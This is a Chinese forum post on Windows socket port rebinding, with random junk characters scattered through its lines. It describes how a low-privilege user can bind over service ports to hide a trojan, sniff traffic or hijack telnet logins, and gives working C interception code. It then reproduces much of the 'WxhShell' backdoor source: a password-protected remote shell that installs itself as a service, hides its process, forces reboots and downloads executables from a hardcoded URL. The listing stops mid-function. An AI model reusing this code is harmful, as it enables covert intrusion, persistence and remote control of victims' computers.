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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V:rq}F}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /jQW4eW0  
y K~;LV  
  saddr.sin_family = AF_INET; a%"My;8  
G J=<~S"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); W8Z&J18AU  
)miY>7K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sO~:e?F  
vu[+UF\G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4tTK5`7N  
/sf:.TpVh  
  这意味着什么?意味着可以进行如下的攻击: }qlU  
'dYjbQ}~;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e%w>QN`  
C2;qSKG3{m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^w.x~#zI  
SF2A?L?}+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >OVi{NyT  
D.H$4[u;j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5|!x0H;  
|;o#-YosP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9^Q:l0|  
*a*\E R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a;J{'PHu  
5 T1M:~u i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q}~of}h/  
%j%}iM/(<  
  #include =.,]}  
  #include >cEc##:5  
  #include ]w.:K*_=  
  #include    4]jN@@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [6Y6{.%~  
  int main() +2!J3{[J  
  { [$_d|Z  
  WORD wVersionRequested; D;.O#bS  
  DWORD ret; V`$Jan  
  WSADATA wsaData; <>`+" O}  
  BOOL val; OJ ng  
  SOCKADDR_IN saddr; pmd=3,D'u  
  SOCKADDR_IN scaddr; 6/@"K HHVe  
  int err; ZcgSVMqEX  
  SOCKET s; @e#eAJhU  
  SOCKET sc; :SilQm*Pl  
  int caddsize; Ml)~%ZbF  
  HANDLE mt; 'awL!P--  
  DWORD tid;   /w0l7N  
  wVersionRequested = MAKEWORD( 2, 2 ); mHjds77e  
  err = WSAStartup( wVersionRequested, &wsaData ); pIdJ+gu(s  
  if ( err != 0 ) { |[n-H;0  
  printf("error!WSAStartup failed!\n"); ^'Wkb7L  
  return -1; n<6p0w  
  } 1J<Wth{  
  saddr.sin_family = AF_INET; A6Ttx{]  
   w*[i!i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9E^IEwq'  
`f`\j -Lu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `An`"$z  
  saddr.sin_port = htons(23); 8FyJo.vr(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %m]9";   
  { } 5i0R  
  printf("error!socket failed!\n"); y#8| @?  
  return -1; WmTSxneo  
  } rD)yEuYX  
  val = TRUE; Dk4Jg++  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +HNY!fv9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) XYIZ^_My  
  { pOQ'k>!  
  printf("error!setsockopt failed!\n"); U.<';fKnT  
  return -1; hW[/{2<@  
  } i8pM,Ppi~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O1IR+"0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =M^4T?{T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BuMBnbT  
tbD>A6&VM}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zK893)  
  { R'f|1mt  
  ret=GetLastError(); `9rwu:3i  
  printf("error!bind failed!\n"); @Ong+^m|PC  
  return -1; 5qtZ`1Hq  
  } Q{6Bhx *>  
  listen(s,2); ss'#sPX  
  while(1) [_6_A O(Z  
  { Ijq1ns_tx8  
  caddsize = sizeof(scaddr); UR6.zE4=_  
  //接受连接请求 ,<n >g;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xlG/$`Ab  
  if(sc!=INVALID_SOCKET) YIo $  
  { z><=F,W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =zBcfFii`w  
  if(mt==NULL) 6}"P m  
  { !a?$  
  printf("Thread Creat Failed!\n"); o@j]yA.5)  
  break; (3YCe{  
  } xWlj.Tjt}  
  } "']I.  
  CloseHandle(mt); FI++A`  
  } S05+G}[$  
  closesocket(s); ?_q e 2R.  
  WSACleanup(); `oP :F[B  
  return 0; ?#"rI6  
  }   L A-H  
  DWORD WINAPI ClientThread(LPVOID lpParam) |f1 S&b.  
  { WGFp<R  
  SOCKET ss = (SOCKET)lpParam; {pMbkA Q@  
  SOCKET sc; hI*gw3V  
  unsigned char buf[4096]; @~% R%Vu  
  SOCKADDR_IN saddr; |F z/9+I  
  long num; fH? e9E4l  
  DWORD val; 5BnO-[3  
  DWORD ret; ]b!o(5m  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B}_*0D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0A\OZ^P8  
  saddr.sin_family = AF_INET; yi*)g0M  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c jfYE]  
  saddr.sin_port = htons(23); n{JBC%^g  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M72.  
  { .g71?^?(  
  printf("error!socket failed!\n"); lPyGL-Q  
  return -1; c}GmS@  
  } xo2PxUO  
  val = 100; heJI5t,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  nN1\  
  { Yy`\??,  
  ret = GetLastError(); gV@FT|j!i  
  return -1; - &u]B$  
  } Jm&7&si7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qa@b-v'by  
  { Iko1%GJ1Z  
  ret = GetLastError(); U_ n1QU  
  return -1; KdI X`  
  } v3!oY t:l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'fO[f}oa_.  
  { Ik2y If5d  
  printf("error!socket connect failed!\n"); ;0DT f  
  closesocket(sc); 3T^f#UT  
  closesocket(ss); -N;$L~`iAt  
  return -1; Vm}OrFA  
  } a@:(L"Or  
  while(1) :VpRpj4f  
  { o1<Y#db[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4ti\;55{W  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X!Ag7^E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P{j2'gg3  
  num = recv(ss,buf,4096,0); g&eIfm  
  if(num>0) i]&C=X  
  send(sc,buf,num,0); `|?K4<5|  
  else if(num==0) &nkYJi(!  
  break; Hhx"47:  
  num = recv(sc,buf,4096,0); U;QTA8|!&  
  if(num>0) dbM~41C6  
  send(ss,buf,num,0); ssaEAm:  
  else if(num==0) Ji4xor  
  break; Cw7 07  
  } x"xl3dRu  
  closesocket(ss); ?'ID7mL  
  closesocket(sc); &#!5I;3EN  
  return 0 ; EH{m~x[Ei  
  } 2noKy}q  
-7E)u  
zOJ4I^^  
========================================================== KMC]<  
rTTde^^_  
下边附上一个代码,,WXhSHELL _8x:%$   
Tbf't^Ot$  
========================================================== MLwh&I9)  
i) v ]  
#include "stdafx.h" <q@/ Yy32  
@@~OA>^  
#include <stdio.h> j}9][Fm1*  
#include <string.h> {l$DNnS  
#include <windows.h> /)RyRS8c  
#include <winsock2.h> ILi{5L  
#include <winsvc.h> >h:rYEsh8V  
#include <urlmon.h> 'fpm] *ig  
Y'-@O"pK  
#pragma comment (lib, "Ws2_32.lib") OsI>gX>  
#pragma comment (lib, "urlmon.lib") l;{n" F  
%N5gQXg  
#define MAX_USER   100 // 最大客户端连接数 )CgKZ"  
#define BUF_SOCK   200 // sock buffer @BQJKPF*  
#define KEY_BUFF   255 // 输入 buffer x\( @ v  
iF]G$@rbU  
#define REBOOT     0   // 重启 We%HdTKT  
#define SHUTDOWN   1   // 关机 qTc-Z5  
9C&Xs nk  
#define DEF_PORT   5000 // 监听端口 I`hltJM'  
{"{kWbXZ  
#define REG_LEN     16   // 注册表键长度 ,U`:IP/L  
#define SVC_LEN     80   // NT服务名长度 l~ 3H"  
Zo$ ,{rl  
// 从dll定义API ^`M,ju  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2J?ON|2M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xvo""R/g8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pJ8;7u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U\OfB'Dn  
TCShS}q;%  
// wxhshell配置信息 %L;z~C  
struct WSCFG { >]b>gc?3  
  int ws_port;         // 监听端口 akR+QZ,)  
  char ws_passstr[REG_LEN]; // 口令 ])`+ 78  
  int ws_autoins;       // 安装标记, 1=yes 0=no q!UN<+k\h  
  char ws_regname[REG_LEN]; // 注册表键名 0,a/t jSr  
  char ws_svcname[REG_LEN]; // 服务名 =VA5!-6<Uq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rl:6N*kK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $D;/b+a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n^}M*#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a'zXLlXgGd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @4sEHk 3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R<\5 q%@G  
HJ5 Ktt  
}; KDTG9KC  
* AsILK0  
// default Wxhshell configuration ~|y$^qy?U  
struct WSCFG wscfg={DEF_PORT, W`^euBr7R>  
    "xuhuanlingzhe", ad <z+a  
    1, w4:|Z@I  
    "Wxhshell", cf\PG&S  
    "Wxhshell", Ltk'`  
            "WxhShell Service", Pv-El+e!  
    "Wrsky Windows CmdShell Service", 5&Y%N(  
    "Please Input Your Password: ", D,$!.5OA  
  1, D1xIRyc/  
  "http://www.wrsky.com/wxhshell.exe", k@}?!V*l  
  "Wxhshell.exe" Evjvaa^  
    }; |[6jf!F  
o 8fB  
// 消息定义模块 gc5u@(P"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;Gf,I1d}{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <V`1?9c7D1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sY|by\-c  
char *msg_ws_ext="\n\rExit."; |4E5x9J  
char *msg_ws_end="\n\rQuit."; WA'4y\N  
char *msg_ws_boot="\n\rReboot..."; UQ X.  
char *msg_ws_poff="\n\rShutdown..."; *yx5G-#?  
char *msg_ws_down="\n\rSave to "; YJ6y]r K2,  
v3zd>fDnRp  
char *msg_ws_err="\n\rErr!"; i sK_t*  
char *msg_ws_ok="\n\rOK!"; fRcs@yZnS  
f&=WgITa  
char ExeFile[MAX_PATH]; ZnrsJ1f:  
int nUser = 0; -_%8Q#"  
HANDLE handles[MAX_USER];  5yA1<&z  
int OsIsNt; 3EY>XS  
Re[x$rw  
SERVICE_STATUS       serviceStatus;  !' }  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Fa"/p_1  
3y# U|&]{  
// 函数声明 <R;t>~8x  
int Install(void); <^+x}KV I  
int Uninstall(void); f0^;*Y  
int DownloadFile(char *sURL, SOCKET wsh); (ncm]W  
int Boot(int flag); jH5VrN*Q  
void HideProc(void); ^ <$$h  
int GetOsVer(void); s (2/]f$  
int Wxhshell(SOCKET wsl); vHydqFi9  
void TalkWithClient(void *cs); 6H ]rO3[8  
int CmdShell(SOCKET sock); {zck Y  
int StartFromService(void); yuef84~  
int StartWxhshell(LPSTR lpCmdLine); \]:}lVtxS  
i(Xz3L#(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v0aV>-v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H\>0jr `  
rd )_*{  
// 数据结构和表定义 G5l?c@o  
SERVICE_TABLE_ENTRY DispatchTable[] = uGoySt&;(  
{ !^Ly#$-X  
{wscfg.ws_svcname, NTServiceMain}, 6@rebe!&=  
{NULL, NULL} YK{E=<:  
}; l-v(~u7  
(GCeD-  
// 自我安装 qj.>4d  
int Install(void) Wx8oTN  
{ Z&Qz"V>$  
  char svExeFile[MAX_PATH]; Y5/SbQYf1  
  HKEY key; uc~/l4~N  
  strcpy(svExeFile,ExeFile); {0(:5%  
)'1rZb5  
// 如果是win9x系统,修改注册表设为自启动 1H-d<G0)  
if(!OsIsNt) { n)<S5P?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ELvP<Ny}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hxr)`i46  
  RegCloseKey(key); Z[Z3x6 6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VG=mA4Dd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5 LX'fL7zU  
  RegCloseKey(key); #^>Md59N  
  return 0; 15l{gbCW  
    } IG(1h+5 R(  
  } pzcl@  
} o9XT_!Cwg  
else { ! ^ DQX=1  
id?B<OM  
// 如果是NT以上系统,安装为系统服务 h>a/3a$g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~+)sL1lx  
if (schSCManager!=0) + g*s%^(E  
{ <Pnz$nH:e  
  SC_HANDLE schService = CreateService Sb|9U8h  
  ( >WZ_) `R  
  schSCManager, 6OPYq*|  
  wscfg.ws_svcname, [Yyb)Qf  
  wscfg.ws_svcdisp, vVy X[ZZ  
  SERVICE_ALL_ACCESS, p"dK,A5#)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x|=]Xxco  
  SERVICE_AUTO_START, J1\H^gyW)  
  SERVICE_ERROR_NORMAL, uD0<|At/  
  svExeFile, i]{-KZC  
  NULL, >qL-a*w:a  
  NULL, 2R`dyg  
  NULL, ?= R C?K  
  NULL, vU9j|z  
  NULL MXP3Z N'  
  ); + FG Xx  
  if (schService!=0) K;'s+ZD  
  { *dpKo&y  
  CloseServiceHandle(schService); xm*6I  
  CloseServiceHandle(schSCManager); 05ZF>`g*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8WP|cF]  
  strcat(svExeFile,wscfg.ws_svcname); 6>d0i S@R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hs#q 7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W1\F-:4L@  
  RegCloseKey(key); Ve9*>6i&-4  
  return 0; \s@7pM=(  
    } 84f~.45  
  } 0_f6Qrcj  
  CloseServiceHandle(schSCManager);  N3m~nEj  
} "Nh}_jO  
} j&|>Aa${  
'2:HBJ  
return 1; (Wu J9  
} >"|"Gy (  
*>,#'C2  
// 自我卸载 2'-!9!C  
int Uninstall(void) sKniqWi  
{ x@Ze%$'  
  HKEY key; }{SpV  
2JR$  
if(!OsIsNt) { nl/~7({  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n:P++^ j  
  RegDeleteValue(key,wscfg.ws_regname); Ap)pOD7  
  RegCloseKey(key); =}1m.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OaF[t*]D3  
  RegDeleteValue(key,wscfg.ws_regname); s;Sv@=\  
  RegCloseKey(key); EHlkt,h*  
  return 0; !g2 ~|G  
  } LQ{z}Ay  
} qgkC)  
} ;hZ^zL  
else { x*a^msY%  
7\<}378/^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HlgkW&}c^  
if (schSCManager!=0) caD|*.b  
{ ~ \3j{pr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nJr:U2d  
  if (schService!=0) :p0<AU47  
  { @A1Ohl  
  if(DeleteService(schService)!=0) { 1<E:`,Mn?  
  CloseServiceHandle(schService); UC*\3:>'n  
  CloseServiceHandle(schSCManager); l}& &f8n  
  return 0; zcCGR Ee=  
  } oeA}b-Ct0  
  CloseServiceHandle(schService); +sm9H"_0  
  } _J ZlXY  
  CloseServiceHandle(schSCManager); RA ER\9i  
} 'FC#O%l  
} sA:k8aj  
U%4 s@{7  
return 1; W_FN*Er  
} z$b'y;k  
u8N"i),  
// 从指定url下载文件 Xd@_:ds  
int DownloadFile(char *sURL, SOCKET wsh) " LkI'>3}  
{ 0`~#H1TK  
  HRESULT hr; Y<)9TU:D!  
char seps[]= "/"; rZkl0Y;n\  
char *token; 5hg ^K^ZZ  
char *file; ,cwjieM  
char myURL[MAX_PATH]; +WfO2V.  
char myFILE[MAX_PATH]; <-s5 ;xwtS  
D]*<J"/]d  
strcpy(myURL,sURL); gK",D^6T*Y  
  token=strtok(myURL,seps); f@aFs]xV  
  while(token!=NULL) h$_5)d~  
  { 6$ x9@x8  
    file=token; 5$<Ozkj(  
  token=strtok(NULL,seps); g?> V4WF  
  } T@gm0igW/;  
Q)%a2s;  
GetCurrentDirectory(MAX_PATH,myFILE); |N+uEiJ  
strcat(myFILE, "\\"); -XMWN$Ah  
strcat(myFILE, file); %C =?Xhnv  
  send(wsh,myFILE,strlen(myFILE),0); /PTk296@  
send(wsh,"...",3,0); . yN.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Xb\de_8!  
  if(hr==S_OK) [l:}#5\]4  
return 0; n"|1A..^  
else vfpK|=[7o  
return 1; y8/+kn +  
g>;u} +lO  
} Nny#}k Bt  
=DLVWz/<  
// 系统电源模块 :Lh`Q"a  
int Boot(int flag) ]~t4E'y)z  
{ pGT?=/=*  
  HANDLE hToken; i+4!nf{K  
  TOKEN_PRIVILEGES tkp; p8|u0/;k  
g;._Q   
  if(OsIsNt) { C~q&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9Pjw< xt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !6pE0(V^+4  
    tkp.PrivilegeCount = 1; L`n Ma   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bY!1t}ALh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L)-1( e<x  
if(flag==REBOOT) { s%Irh;Bs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 344E4F"ph  
  return 0; ~pG,|\9  
} o@@, }  
else { %}1v-z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4#Id0['  
  return 0; gf^XqTLs  
} "|6763.{4  
  } Ers8J V  
  else { uraT$Q}  
if(flag==REBOOT) { xQ~N1Y2W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O]%Vh l  
  return 0; q&d5V~q  
} R~!md  
else { NjP7?nXSx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^J?y mo$>0  
  return 0; [a!*m<  
} z!>ml3  
} Rr"D)|Y;C(  
*z6m644H  
return 1; 1vUW$)?X  
} =+"=|cQ  
K3-Cuku  
// win9x进程隐藏模块 vD3j(d  
void HideProc(void) SU>cJ*  
{ _8ubo\M~  
/& wA$h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /@feY?glc  
  if ( hKernel != NULL ) D+('1E?  
  { K</="3 HK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v/z~ j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CA5q(ID_  
    FreeLibrary(hKernel); X3l? YA  
  } '-NHu +  
'Z 82+uU%  
return; XO,gEn&6V  
} tA{?-5  
5KRI}f  
// 获取操作系统版本 H`EsFKw\%  
int GetOsVer(void) C[s='v~}  
{ C*&FApG  
  OSVERSIONINFO winfo; S?e*<s9k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y7WU4He L  
  GetVersionEx(&winfo); \z[L=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) At)\$GJ  
  return 1; m(p0)X),_i  
  else :!<U"AC  
  return 0; Rb l4aB+   
} q^^&nz<A  
`VD7VX,rp*  
// 客户端句柄模块 l$DQkbOj  
int Wxhshell(SOCKET wsl) R~H+.Vh  
{ \Ws$@ J-M  
  SOCKET wsh; -$tf`   
  struct sockaddr_in client; WNWtQ2]  
  DWORD myID; &LDA=B  
Q/^a(   
  while(nUser<MAX_USER) Wk-jaz  
{ NW`L6wgl  
  int nSize=sizeof(client); +MvO+\/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Rn5{s3?F~2  
  if(wsh==INVALID_SOCKET) return 1;  YW'l),Z  
{LoNp0i1a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *4?%Y8;bF6  
if(handles[nUser]==0) 5%;=(Oig  
  closesocket(wsh); |7@@~|A  
else *D:uFo,xn  
  nUser++; *@zya9y9q  
  } vd#BT$d?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `| f1^C^  
$.T\dm-  
  return 0; }CB9H$FkCY  
} |P(8T'  
j5V{,lf  
// 关闭 socket WdJJt2'  
void CloseIt(SOCKET wsh) r>Cv@4/j  
{ . E? a  
closesocket(wsh); Fd1jElt  
nUser--; L]#b =Y  
ExitThread(0); <z R CT  
}  #[yZP9  
=L&dV]'4P  
// 客户端请求句柄 NNn sq@?6  
void TalkWithClient(void *cs) k5o{mWI b  
{ }^]TUe@a  
pfF2!`7pI  
  SOCKET wsh=(SOCKET)cs; !G~`5?CvE  
  char pwd[SVC_LEN]; #kRt\Fzq  
  char cmd[KEY_BUFF]; 7O\Qxc\  
char chr[1]; CjZIBMGc  
int i,j; 6![}Jvu>  
QM4O|x[   
  while (nUser < MAX_USER) { @nxpcHj  
)POU58$  
if(wscfg.ws_passstr) { Uo=_=.GQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /nzJ`d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9Z lfY1=  
  //ZeroMemory(pwd,KEY_BUFF); CQ/ps,~M  
      i=0; %{ +>\0x  
  while(i<SVC_LEN) { `IH*~d]  
4v;KtD;M  
  // 设置超时 ]Pf!wv  
  fd_set FdRead; iKA}??5e  
  struct timeval TimeOut; Z@6xu;O  
  FD_ZERO(&FdRead); E<r<ObeRv`  
  FD_SET(wsh,&FdRead); Z^6qxZJ7  
  TimeOut.tv_sec=8; :@K~>^+U  
  TimeOut.tv_usec=0; $_Q]3"U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a|kEza,]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uQO\vRh0  
}Wz[ox9b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8<PQ31  
  pwd=chr[0]; 2g$;ZBHO|8  
  if(chr[0]==0xd || chr[0]==0xa) { xy+hrbD)j  
  pwd=0; Uj twOv|pF  
  break; dr^MW?{a\  
  } y!/:1BHlm  
  i++; yyc4'j+  
    } ]7J*(,sp  
>\'gIIs  
  // 如果是非法用户,关闭 socket A&L2&ofV&q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Wh^wKF~%  
} X{tfF!+iy  
rL|9Xru  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .9@y*_ 9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g![?P"i^t  
Hl=M{)q@   
while(1) { p61F@=EL  
@f`s%o  
  ZeroMemory(cmd,KEY_BUFF); uy8mhB+]  
!m6=Us  
      // 自动支持客户端 telnet标准   s(cC ;  
  j=0; W ![*0pL  
  while(j<KEY_BUFF) { ?$~5ti#\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q&8epO|J  
  cmd[j]=chr[0]; 5;X3{$y  
  if(chr[0]==0xa || chr[0]==0xd) { = PIarUJ  
  cmd[j]=0; }$@E pM  
  break; A}G>JL  
  } npMPjknl  
  j++; Uu~~-5  
    } As>P(  
Aga{EKd  
  // 下载文件 h=ben&m  
  if(strstr(cmd,"http://")) { tG*HUN?*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bj7r"_  
  if(DownloadFile(cmd,wsh)) 1R"Z+tNB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (\H^ KEy  
  else  wkKSL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 51Q~/  
  } #r'S@:[  
  else { 2k+u_tj>  
)uC5  
    switch(cmd[0]) { 1-~sj)*k  
  AQTV1f_  
  // 帮助 jh"YHe/X  
  case '?': { X.[8L^ldh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '4,>#D8@O  
    break; !+_X q$9_  
  } N7-LgP  
  // 安装 S#N4!"  
  case 'i': { PZk"!I<oN  
    if(Install()) epG!V#I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lN'b"N  
    else HleMzykF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ti&v9re%wO  
    break; #PQhgli  
    } ky I~  
  // 卸载 >Do P2]  
  case 'r': { yeIc Q%  
    if(Uninstall()) li9>zjz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  S)x5.vo^  
    else MR/gLm(8(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d'[]  
    break; iyP0;$  
    } kerBy\^  
  // 显示 wxhshell 所在路径 7uq^TO>9f  
  case 'p': { Ny G?^  
    char svExeFile[MAX_PATH]; #]z_pp:  
    strcpy(svExeFile,"\n\r"); \CrWKBL  
      strcat(svExeFile,ExeFile); =`.OKUAn  
        send(wsh,svExeFile,strlen(svExeFile),0); EM!9_8 f  
    break; >r.W \  
    } VF:95F;@  
  // 重启 '1rO&F  
  case 'b': { u1ahAk7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q z8Jvgu?  
    if(Boot(REBOOT)) W~Q;R:y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oa6&?4K?F  
    else { y=LN| vkQ  
    closesocket(wsh); ?wREX[Tqs  
    ExitThread(0); 5G l:jRu  
    } V;u FYt; E  
    break; k:#u%Z   
    } #sM*<2vj  
  // 关机 DhN<e7c`  
  case 'd': { *H~&hs>k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3M5wF6nY[[  
    if(Boot(SHUTDOWN))  mT,#"k8  
